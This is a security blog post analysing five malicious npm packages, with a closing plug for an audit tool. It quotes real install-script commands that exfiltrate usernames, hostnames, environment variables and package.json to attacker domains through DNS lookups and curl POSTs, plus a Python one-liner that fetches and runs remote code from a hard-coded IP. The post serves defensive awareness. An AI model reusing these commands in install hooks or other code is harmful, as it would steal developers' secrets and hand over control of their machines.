Dissecting Npm Malware: Five Packages And Their Evil Install Scripts
7 min read
Packages published on npm can declare pre and post-install hooks, which are scripts that run, well, pre or post-install. That is to say, when the npm CLI installs a package, it also runs those scripts on your machine.
It runs them silently, in the background.
Sounds like a bad idea? It kinda is.
When Are Install Scripts Useful?
According to npm's best practices, rarely:
install. Use a
.gypfile for compilation, and
preparefor anything else. You should almost never have to explicitly set a preinstall or install script. If you are doing this, please consider if there is another option. The only valid use of
preinstallscripts is for compilation which must be done on the target architecture.
In practice, these scripts can be very useful for automating tasks that need to be done every time a package is installed or updated. They can help ensure that the package is installed correctly and that any necessary setup or configuration tasks are completed automatically. For example, a preinstall script might check that certain dependencies are installed or that the environment is set up correctly, while a post-install script might compile assets or configure a database.
How Can Install Scripts Hurt You
However, there are some risks associated with using pre and post-install scripts. For example, a malicious package could include a preinstall script that could harm the user's system. Additionally, running arbitrary code during the installation process could potentially introduce security vulnerabilities or cause unexpected behavior.
Let's see just how much of a bad idea install scripts can be, by looking at five packages that have been pulled from the registry for doing nasty things.
Packages Can Silently Leak Your Private Data
micro-username is a package that has been live in the registry for about two days, in February 2023. While it was available, it published 28 versions, with descriptions ranging from
this is for micro-soft to
Simple PoC package for testing for dependency confusion vulnerabilities.
The pre-install script for the package attempted to silently exfiltrate data:
This script pings a URL that is constructed using several commands that expose private information about your development machine:
whoamireturns the current username or the user ID (UID) associated with the current user. In many cases, this might be the actual name of the user;
pwdreturns the current working directory, which is the directory that the user is currently in or working from. This reveals details about the path structure of the current machine;
hostnamereturns the name that has been assigned to the computer or device that you're using. This name can be a fully qualified domain name (FQDN), which includes the domain name and the host name, or it can be just the host name.
--quiet option for
wget is a command-line option that instructs
wget to work in silent mode, which means that it suppresses all output except for the basic progress indicators.
@primeo/address was live for four days in December 2021, and only had a single version, but with a very elaborate install script:
nslookup $(whoami).u.pkgio.com: This command looks up the IP address associated with the hostname
nslookup $(uname --nodename).h.pkgio.com: This command looks up the IP address associated with the hostname
$(uname --nodename).h.pkgio.comusing the
uname --nodenamecommand is used to determine the current machine's hostname, which is then used to construct the hostname.
curl -X POST -d @package.json -H 'X-BOT: nope' https://www.pkgio.com/.x773/package.json: This command sends an HTTP POST request with the body set to the contents of the file package.json, specified by the -d option. This basically sends out the content of your app's manifest file.
env > /tmp/.env ; curl -X POST -d @/tmp/.env -H 'X-BOT: nope' https://www.pkgio.com/.x773/env.json: This command writes the current environment variables to the file
/tmp/.env, using the
envcommand. It then sends an HTTP POST request with the body set to the contents of the file
/tmp/.env, specified by the
-doption. This would, in effect, leak all of your private environment variables to an unknown actor.
@ovh-ui/oui-checkbox was live for about a week in June 2022 and seems to be part of a bug bounty program by French company Sekost. It tried to further evade detection by using DNS requests instead of HTTP:
When you run the
dig command with a domain name, it sends a DNS query to a DNS server and retrieves the corresponding DNS records for that domain. This can be useful for troubleshooting DNS issues, verifying DNS configurations, or performing DNS reconnaissance.
dig can also be used by malware for malicious purposes. Malware can use
dig to exfiltrate data from a compromised system. By using DNS queries as a covert channel, malware can bypass traditional security controls and avoid detection by security tools that rely on IP addresses. The same goes for the
nslookup usage in the example above.
In addition, malware can use
dig to perform DNS tunneling, which is a technique that allows attackers to bypass firewalls and other security controls by using DNS queries and responses to transmit data between the attacker's system and a C&C server.
Packages Can Remotely Run Scripts For Full Access To Your Machine And Data
node-hsf was live for a full month in 2018 and tried to masquerade as an open-source library from Alibaba by providing a fake repo URL, under the https://github.com/alibaba/ organization. The authors published seven versions in total, each exploring different ways of exploiting pre-install scripts, including downloading and running Python code.
Version 1.3.3 implemented a naive approach by using
wget to download a Python script and save it to the user's home directory, as a hidden file, inconspicuously named
By version 1.3.4 though, the pre-install script got a bit smarter:
Here is a breakdown of what the command above does:
nohupruns the command in the background and allows the script to continue running even if the terminal is closed.
pythonis the interpreter used to execute the Python code.
-cindicates that the following argument should be treated as a command to be executed.
'import urllib;exec urllib.urlopen("http://18.104.22.168:8083/p.py\").read()'is a single line of Python code that imports the
urlliblibrary and uses it to download and execute a Python script located at the URL
&is a shell operator that runs the preceding command in the background, allowing the terminal to be used for other commands.
alicov was live for about a month in 2018 and published 15 versions in total. It used a convoluted install script to mask its malicious intents:
This Python script defines a lambda function that performs a malicious action, specifically requesting a potentially dangerous URL. The lambda function is defined using a nested
__contextlib.nested() function, which creates a context manager to handle the cleanup of resources.
The lambda function is executed immediately with the
(__import__('urllib', __g, __g, ('urlopen',), 0)) argument, which imports the
urllib module and then calls its
urlopen function to open, compile, and evaluate the code under the potentially dangerous URL.
After that, the script prints a message indicating that it is a fake package and warns the user not to use NPM to get the right one?! It seems like a warning or a prank script intended to demonstrate the dangers of running untrusted code.
npm install Comes With A Risk
While researching this article, it was easy to identify many packages that have declared malicious install scripts directly in their
package.json manifest. However, that is a naive approach, and most malware does a much better job of hiding and obfuscating sensitive code. Around 700k package versions in the npm registry currently declare install scripts, and could thus execute code that compromises the security of your dev machine, or your CI build. More are added every day.
sandworm audit to identify any security vulnerabilities in their dependencies and stay up to date with security updates.
Sandworm Audit is the open-source
npm auditthat doesn’t suck: it checks for multiple types of issues, like vulnerabilities or license compliance, it outputs SVG charts and CSVs, it can mark issues as resolved, and you can also run it in your CI to enforce security rules. Check the docs and